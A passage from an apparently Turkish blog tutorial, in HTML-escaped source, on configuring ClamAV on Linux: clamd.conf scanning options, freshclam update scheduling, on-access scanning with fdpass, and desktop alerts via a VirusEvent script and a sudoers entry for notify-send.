&lt;li&gt;&lt;a href="https://blog.clamav.net/2016/06/regarding-use-of-clamav-daemons-tcp.html" rel="noopener noreferrer" target="_blank"&gt;Detayl&amp;inodot; Bilgi (Resmi Blog)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Detayl&amp;inodot; Bilgi (Manuel): &lt;a href="https://docs.clamav.net/manual/Usage/Scanning.html#clamd-v0101" rel="noopener noreferrer" target="_blank"&gt;TCP Socket Configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ayr&amp;inodot;ca, &lt;code&gt;LocalSocket&lt;/code&gt; kullan&amp;inodot;rken &lt;code&gt;clamd&lt;/code&gt;'nin, taramay&amp;inodot; planlad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z dosyalara eri&amp;scedil;im izni olan bir kullan&amp;inodot;c&amp;inodot; (genellikle &lt;code&gt;clamav&lt;/code&gt; kullan&amp;inodot;c&amp;inodot;s&amp;inodot;) alt&amp;inodot;nda &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot; gerekti&amp;gbreve;ini unutmay&amp;inodot;n.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-2-yaplandrma-dosyalarn-olusturma"&gt;Ad&amp;inodot;m 2: Yap&amp;inodot;land&amp;inodot;rma Dosyalar&amp;inodot;n&amp;inodot; Olu&amp;scedil;turma&lt;a class="headerlink" href="#adm-2-yaplandrma-dosyalarn-olusturma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Paketi kurunca varsay&amp;inodot;lan &lt;code&gt;.conf&lt;/code&gt; dosyalar&amp;inodot; gelmeli. E&amp;gbreve;er gelmezse veya s&amp;inodot;f&amp;inodot;rdan olu&amp;scedil;turmak isterseniz, &lt;code&gt;clamconf&lt;/code&gt; bunun i&amp;ccedil;in var:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Gerekirse (genellikle gerekmez)&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g freshclam.conf &amp;gt; /etc/clamav/freshclam.conf&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g clamd.conf &amp;gt; /etc/clamav/clamd.conf&lt;/span&gt;
&lt;span class="c1"&gt;# sudo clamconf -g clamav-milter.conf &amp;gt; /etc/clamav/clamav-milter.conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ana yap&amp;inodot;land&amp;inodot;rma dosyalar&amp;inodot;m&amp;inodot;z &amp;scedil;unlar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;freshclam&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/freshclam.conf&lt;/code&gt; (G&amp;uuml;ncellemeler i&amp;ccedil;in)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/clamd.conf&lt;/code&gt; (Daemon'un beyni)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clamd milter&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;/etc/clamav/clamav-milter.conf&lt;/code&gt; (E-posta filtresi i&amp;ccedil;in)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;iniz bitti&amp;gbreve;inde &lt;code&gt;clamconf&lt;/code&gt; komutunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rarak ayarlar&amp;inodot;n&amp;inodot;z&amp;inodot; kontrol edebilirsiniz. Varsay&amp;inodot;lan kurulum zaten &lt;code&gt;clamav&lt;/code&gt; kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;, grubunu ve gerekli &lt;code&gt;clamd&lt;/code&gt; ayarlar&amp;inodot;n&amp;inodot; "makul" bir seviyede yapar.&lt;/p&gt;
&lt;p&gt;Ama biz "makul" ile yetinmeyece&amp;gbreve;iz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-3-clamdconf-canavarn-beyni-tam-surum"&gt;Ad&amp;inodot;m 3: &lt;code&gt;clamd.conf&lt;/code&gt; &amp;ndash; Canavar&amp;inodot;n Beyni (Tam S&amp;uuml;r&amp;uuml;m)&lt;a class="headerlink" href="#adm-3-clamdconf-canavarn-beyni-tam-surum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt; ile dosyay&amp;inodot; a&amp;ccedil;&amp;inodot;n ve a&amp;scedil;a&amp;gbreve;&amp;inodot;daki ayarlar&amp;inodot; bulun, &lt;code&gt;#&lt;/code&gt; i&amp;scedil;aretini kald&amp;inodot;r&amp;inodot;n veya ekleyin. Bu, benim &amp;ouml;nerdi&amp;gbreve;im "paranoyak ama performansl&amp;inodot;" ayar listesidir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/clamav/clamd.conf&lt;/span&gt;

&lt;span class="c1"&gt;# Her mesaja zaman damgas&amp;inodot; ekle. Hata ay&amp;inodot;klarken hayat kurtar&amp;inodot;r.&lt;/span&gt;
&lt;span class="c1"&gt;# Varsay&amp;inodot;lan: no&lt;/span&gt;
&lt;span class="na"&gt;LogTime yes&lt;/span&gt;

&lt;span class="c1"&gt;# Vir&amp;uuml;s bulundu&amp;gbreve;unda dosya boyutu, hash gibi EK bilgiler ver.&lt;/span&gt;
&lt;span class="na"&gt;ExtendedDetectionInfo yes&lt;/span&gt;

&lt;span class="c1"&gt;# G&amp;uuml;venlik i&amp;ccedil;in &amp;Scedil;ART. Daemon'u 'clamav' kullan&amp;inodot;c&amp;inodot;s&amp;inodot; olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r.&lt;/span&gt;
&lt;span class="c1"&gt;# (clamd'nin root olarak ba&amp;scedil;lat&amp;inodot;lmas&amp;inodot; gerekir ki bu de&amp;gbreve;i&amp;scedil;ikli&amp;gbreve;i yapabilsin)&lt;/span&gt;
&lt;span class="c1"&gt;# Varsay&amp;inodot;lan: ayr&amp;inodot;cal&amp;inodot;klar&amp;inodot; d&amp;uuml;&amp;scedil;&amp;uuml;rme&lt;/span&gt;
&lt;span class="na"&gt;User clamav&lt;/span&gt;

&lt;span class="c1"&gt;# Dizinlerin ne kadar derinine inecek?&lt;/span&gt;
&lt;span class="c1"&gt;# Varsay&amp;inodot;lan: 15&lt;/span&gt;
&lt;span class="na"&gt;MaxDirectoryRecursion 20&lt;/span&gt;

&lt;span class="c1"&gt;# Potansiyel Olarak &amp;Idot;stenmeyen Uygulamalar&amp;inodot; (PUA) alg&amp;inodot;la.&lt;/span&gt;
&lt;span class="c1"&gt;# Torrent'ten inen 'tool'lar genelde PUA say&amp;inodot;l&amp;inodot;r. Kesinlikle 'yes'.&lt;/span&gt;
&lt;span class="na"&gt;DetectPUA yes&lt;/span&gt;

&lt;span class="c1"&gt;# Sezgisel (Heuristic) taramay&amp;inodot; a&amp;ccedil;. Bilinmeyen ama &amp;scedil;&amp;uuml;pheli g&amp;ouml;r&amp;uuml;nenleri yakalar.&lt;/span&gt;
&lt;span class="na"&gt;HeuristicAlerts yes&lt;/span&gt;

&lt;span class="c1"&gt;# === Tarama Hedefleri (Hepsini a&amp;ccedil;&amp;inodot;yoruz) ===&lt;/span&gt;
&lt;span class="na"&gt;ScanPE yes&lt;/span&gt;
&lt;span class="na"&gt;ScanELF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanOLE2 yes&lt;/span&gt;
&lt;span class="na"&gt;ScanPDF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanSWF yes&lt;/span&gt;
&lt;span class="na"&gt;ScanXMLDOCS yes&lt;/span&gt;
&lt;span class="na"&gt;ScanHWP3 yes&lt;/span&gt;
&lt;span class="na"&gt;ScanOneNote yes&lt;/span&gt;
&lt;span class="na"&gt;ScanMail yes&lt;/span&gt;
&lt;span class="na"&gt;ScanHTML yes&lt;/span&gt;
&lt;span class="na"&gt;ScanArchive yes&lt;/span&gt;
&lt;span class="na"&gt;Bytecode yes&lt;/span&gt;

&lt;span class="c1"&gt;# === Uyar&amp;inodot;lar (Bunlar da a&amp;ccedil;&amp;inodot;ls&amp;inodot;n) ===&lt;/span&gt;
&lt;span class="na"&gt;AlertBrokenExecutables yes&lt;/span&gt;
&lt;span class="na"&gt;AlertBrokenMedia yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncrypted yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncryptedArchive yes&lt;/span&gt;
&lt;span class="na"&gt;AlertEncryptedDoc yes&lt;/span&gt;
&lt;span class="na"&gt;AlertOLE2Macros yes&lt;/span&gt;
&lt;span class="na"&gt;AlertPartitionIntersection yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="adm-4-veritabann-guncelleme-freshclam"&gt;Ad&amp;inodot;m 4: Veritaban&amp;inodot;n&amp;inodot; G&amp;uuml;ncelleme (&lt;code&gt;freshclam&lt;/code&gt;)&lt;a class="headerlink" href="#adm-4-veritabann-guncelleme-freshclam" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Daemon'u &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmadan &amp;ouml;nce veritaban&amp;inodot;na ihtiyac&amp;inodot;m&amp;inodot;z var.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Manuel olarak g&amp;uuml;ncelle (ilk &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma i&amp;ccedil;in &amp;scedil;art)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;freshclam
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er bir proxy arkas&amp;inodot;ndaysan&amp;inodot;z, &lt;code&gt;/etc/clamav/freshclam.conf&lt;/code&gt; dosyas&amp;inodot;ndaki &lt;code&gt;HTTPProxyServer&lt;/code&gt;, &lt;code&gt;HTTPProxyPort&lt;/code&gt; vb. ayarlar&amp;inodot; d&amp;uuml;zenleyin.&lt;/p&gt;
&lt;p&gt;Veritaban&amp;inodot; dosyalar&amp;inodot; (&lt;code&gt;daily.cvd&lt;/code&gt;, &lt;code&gt;main.cvd&lt;/code&gt;, &lt;code&gt;bytecode.cvd&lt;/code&gt;) &lt;code&gt;/var/lib/clamav/&lt;/code&gt; i&amp;ccedil;ine kaydedilir.&lt;/p&gt;
&lt;h4 id="otomatik-guncellemeler-service-vs-timer"&gt;Otomatik G&amp;uuml;ncellemeler: Service vs. Timer&lt;a class="headerlink" href="#otomatik-guncellemeler-service-vs-timer" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Otomatik g&amp;uuml;ncelleme i&amp;ccedil;in &lt;strong&gt;iki&lt;/strong&gt; se&amp;ccedil;ene&amp;gbreve;iniz var. &amp;Idot;kisini birden &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot;n&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamav-freshclam.service&lt;/code&gt; (Daemon Modu):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bu, &lt;code&gt;freshclam&lt;/code&gt;'i bir daemon olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;r ve varsay&amp;inodot;lan olarak g&amp;uuml;nde 12 kez (2 saatte bir) g&amp;uuml;ncelleme kontrol&amp;uuml; yapar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not:&lt;/strong&gt; Bu servis her ba&amp;scedil;lad&amp;inodot;&amp;gbreve;&amp;inodot;nda da kontrol yapar. Saatte 1'den fazla kontrol yaparsan&amp;inodot;z ClamAV CDN'inden 24 saatli&amp;gbreve;ine &lt;strong&gt;yasaklan&amp;inodot;rs&amp;inodot;n&amp;inodot;z&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;clamav-freshclam-once.timer&lt;/code&gt; (Timer Modu):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bu, &lt;code&gt;freshclam&lt;/code&gt;'i g&amp;uuml;nde bir kez &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;ran bir systemd zamanlay&amp;inodot;c&amp;inodot;s&amp;inodot;d&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not:&lt;/strong&gt; Bu zamanlay&amp;inodot;c&amp;inodot;, yeniden ba&amp;scedil;latmalardan veya servis durmalar&amp;inodot;ndan ba&amp;gbreve;&amp;inodot;ms&amp;inodot;z olarak belirledi&amp;gbreve;iniz programa uyar.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ben genellikle &lt;code&gt;.service&lt;/code&gt; olan&amp;inodot; tercih ediyorum.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Gerekli log dosyas&amp;inodot;n&amp;inodot; olu&amp;scedil;tural&amp;inodot;m (izinler &amp;ouml;nemli)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;touch&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log
sudo&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log
sudo&lt;span class="w"&gt; &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;clamav&lt;span class="w"&gt; &lt;/span&gt;/var/log/clamav/freshclam.log

&lt;span class="c1"&gt;# Se&amp;ccedil;enek 1: Service'i ba&amp;scedil;lat (Tavsiye edilen)&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;clamav-freshclam.service
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;clamav-freshclam.service

&lt;span class="c1"&gt;# Se&amp;ccedil;enek 2: Timer'&amp;inodot; ba&amp;scedil;lat (Alternatif)&lt;/span&gt;
&lt;span class="c1"&gt;# sudo systemctl start clamav-freshclam-once.timer&lt;/span&gt;
&lt;span class="c1"&gt;# sudo systemctl enable clamav-freshclam-once.timer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="adm-5-gercek-zamanl-koruma-onaccessscan"&gt;Ad&amp;inodot;m 5: Ger&amp;ccedil;ek Zamanl&amp;inodot; Koruma (OnAccessScan)&lt;a class="headerlink" href="#adm-5-gercek-zamanl-koruma-onaccessscan" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Buras&amp;inodot; i&amp;scedil;in en zevkli k&amp;inodot;sm&amp;inodot;. Torrent'ten inen dosyan&amp;inodot;n daha iner inmez taranmas&amp;inodot;.&lt;/p&gt;
&lt;h4 id="a-temel-yaplandrma"&gt;A. Temel Yap&amp;inodot;land&amp;inodot;rma&lt;a class="headerlink" href="#a-temel-yaplandrma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt; dosyas&amp;inodot;na geri d&amp;ouml;n&amp;uuml;n ve &amp;scedil;u sat&amp;inodot;rlar&amp;inodot; ekleyin/d&amp;uuml;zenleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/clamav/clamd.conf (EKLENECEK KISIM)&lt;/span&gt;

&lt;span class="c1"&gt;# Taray&amp;inodot;c&amp;inodot;n&amp;inodot;n kendi kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; (clamav) tarama d&amp;ouml;ng&amp;uuml;s&amp;uuml;nden &amp;ccedil;&amp;inodot;kar.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessExcludeUname clamav&lt;/span&gt;

&lt;span class="c1"&gt;# &amp;Idot;zlenecek ba&amp;gbreve;lama noktas&amp;inodot; (mount point). '/' t&amp;uuml;m sistemi izler.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessMountPath /&lt;/span&gt;

&lt;span class="c1"&gt;# Alternatif olarak sadece belirli dizinleri de izleyebilirsiniz:&lt;/span&gt;
&lt;span class="c1"&gt;# OnAccessIncludePath /home&lt;/span&gt;

&lt;span class="c1"&gt;# YEN&amp;Idot; OLU&amp;Scedil;TURULAN, TA&amp;Scedil;INAN veya YEN&amp;Idot;DEN ADLANDIRILAN dosyalar&amp;inodot; tara.&lt;/span&gt;
&lt;span class="na"&gt;OnAccessExtraScanning yes&lt;/span&gt;

&lt;span class="c1"&gt;# Opsiyonel: Root kullan&amp;inodot;c&amp;inodot;s&amp;inodot;na ait i&amp;scedil;lemleri d&amp;inodot;&amp;scedil;ar&amp;inodot;da b&amp;inodot;rak&lt;/span&gt;
&lt;span class="c1"&gt;# OnAccessExcludeRootUID true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Engelleme (Prevention) Ayar&amp;inodot;: &amp;Ccedil;OK KR&amp;Idot;T&amp;Idot;K &lt;code&gt;OnAccessPrevention no&lt;/code&gt; ayar&amp;inodot;n&amp;inodot; &lt;strong&gt;MUTLAKA &lt;code&gt;no&lt;/code&gt;&lt;/strong&gt; olarak b&amp;inodot;rak&amp;inodot;n.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;&lt;code&gt;OnAccessMountPath&lt;/code&gt; ile engelleme (&lt;code&gt;yes&lt;/code&gt;) zaten &amp;ccedil;al&amp;inodot;&amp;scedil;maz. &lt;code&gt;OnAccessIncludePath&lt;/code&gt; ile &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r ama &lt;code&gt;/usr&lt;/code&gt;, &lt;code&gt;/etc&lt;/code&gt; veya &lt;code&gt;/var&lt;/code&gt; gibi sistem dizinlerini izlerken bunu &lt;code&gt;yes&lt;/code&gt; yaparsan&amp;inodot;z, Arch Wiki'nin de uyard&amp;inodot;&amp;gbreve;&amp;inodot; gibi, &lt;strong&gt;paket kurulumlar&amp;inodot;n&amp;inodot;z&amp;inodot; 1000 kat yava&amp;scedil;latabilirsiniz.&lt;/strong&gt; Bizim amac&amp;inodot;m&amp;inodot;z 'engellemek' de&amp;gbreve;il, 'tespit edip haberdar olmak'&lt;/p&gt;
&lt;/div&gt;
&lt;h4 id="b-fdpass-ile-izin-sorununu-asmak-ileri-seviye"&gt;B. &lt;code&gt;fdpass&lt;/code&gt; ile &amp;Idot;zin Sorununu A&amp;scedil;mak (&amp;Idot;leri Seviye)&lt;a class="headerlink" href="#b-fdpass-ile-izin-sorununu-asmak-ileri-seviye" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Varsay&amp;inodot;lan olarak &lt;code&gt;clamonacc&lt;/code&gt; (root olarak &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r), &lt;code&gt;clamd&lt;/code&gt;'ye (clamav olarak &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r) sadece eri&amp;scedil;ilen &lt;em&gt;dosya adlar&amp;inodot;n&amp;inodot;&lt;/em&gt; yollar. E&amp;gbreve;er &lt;code&gt;clamav&lt;/code&gt; kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;n o dosyaya okuma izni yoksa, tarama ba&amp;scedil;ar&amp;inodot;s&amp;inodot;z olur.&lt;/p&gt;
&lt;p&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: &lt;code&gt;clamonacc&lt;/code&gt;'nin &lt;code&gt;clamd&lt;/code&gt;'ye dosya tan&amp;inodot;mlay&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot; (file descriptor) ge&amp;ccedil;mesini sa&amp;gbreve;lamak (&lt;code&gt;fdpass&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Bunun i&amp;ccedil;in &lt;code&gt;clamav-clamonacc.service&lt;/code&gt; servisini d&amp;uuml;zenlememiz gerek:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# systemd servis dosyas&amp;inodot;n&amp;inodot; d&amp;uuml;zenlemek i&amp;ccedil;in&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;edit&lt;span class="w"&gt; &lt;/span&gt;clamav-clamonacc.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A&amp;ccedil;&amp;inodot;lan bo&amp;scedil; dosyaya &amp;scedil;unlar&amp;inodot; yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Service]&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="na"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/sbin/clamonacc -F --fdpass --log=/var/log/clamav/clamonacc.log&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu, mevcut &lt;code&gt;ExecStart&lt;/code&gt; komutunu siler ve yerine &lt;code&gt;--fdpass&lt;/code&gt; bayra&amp;gbreve;&amp;inodot;yla yenisini ekler.&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="adm-6-masaustu-bildirimlerini-ayarlama"&gt;Ad&amp;inodot;m 6: Masa&amp;uuml;st&amp;uuml; Bildirimlerini Ayarlama&lt;a class="headerlink" href="#adm-6-masaustu-bildirimlerini-ayarlama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Scedil;u ana kadar ClamAV, bir vir&amp;uuml;s buldu&amp;gbreve;unda bunu sadece log dosyas&amp;inodot;na sessizce yazar. Biz ise masa&amp;uuml;st&amp;uuml;m&amp;uuml;zde bir uyar&amp;inodot; g&amp;ouml;rmek istiyoruz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;clamd.conf&lt;/code&gt;'u D&amp;uuml;zenle&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo nano /etc/clamav/clamd.conf&lt;/code&gt; i&amp;ccedil;ine &amp;scedil;u sat&amp;inodot;r&amp;inodot; ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;VirusEvent /etc/clamav/virus-event.bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu, &lt;code&gt;clamd&lt;/code&gt;'ye "vir&amp;uuml;s buldu&amp;gbreve;unda bu beti&amp;gbreve;i &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r" der.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;sudoers&lt;/code&gt; &amp;Idot;zni Ver&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;clamav&lt;/code&gt; kullan&amp;inodot;c&amp;inodot;s&amp;inodot;n&amp;inodot;n, di&amp;gbreve;er kullan&amp;inodot;c&amp;inodot;lar ad&amp;inodot;na &lt;code&gt;notify-send&lt;/code&gt; komutunu &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmas&amp;inodot;na izin vermeliyiz.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/clamav
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A&amp;ccedil;&amp;inodot;lan bo&amp;scedil; dosyaya &amp;scedil;u sat&amp;inodot;r&amp;inodot; ekleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;clamav&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;NOPASSWD&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SETENV&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;send&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;virus-event.bash&lt;/code&gt; Beti&amp;gbreve;ini Olu&amp;scedil;tur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;Scedil;imdi o beti&amp;gbreve;i olu&amp;scedil;tural&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/clamav/virus-event.bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Idot;&amp;ccedil;ine &amp;scedil;unu yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/bin
&lt;span class="nv"&gt;ALERT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ClamAV &amp;Idot;mza Tespiti: &lt;/span&gt;&lt;span class="nv"&gt;$CLAM_VIRUSEVENT_VIRUSNAME&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$CLAM_VIRUSEVENT_FILENAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# T&amp;uuml;m aktif grafiksel kullan&amp;inodot;c&amp;inodot;lara bildirim g&amp;ouml;nder&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ADDRESS&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/run/user/*&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;USERID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ADDRESS&lt;/span&gt;&lt;span class="p"&gt;#/run/user/&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
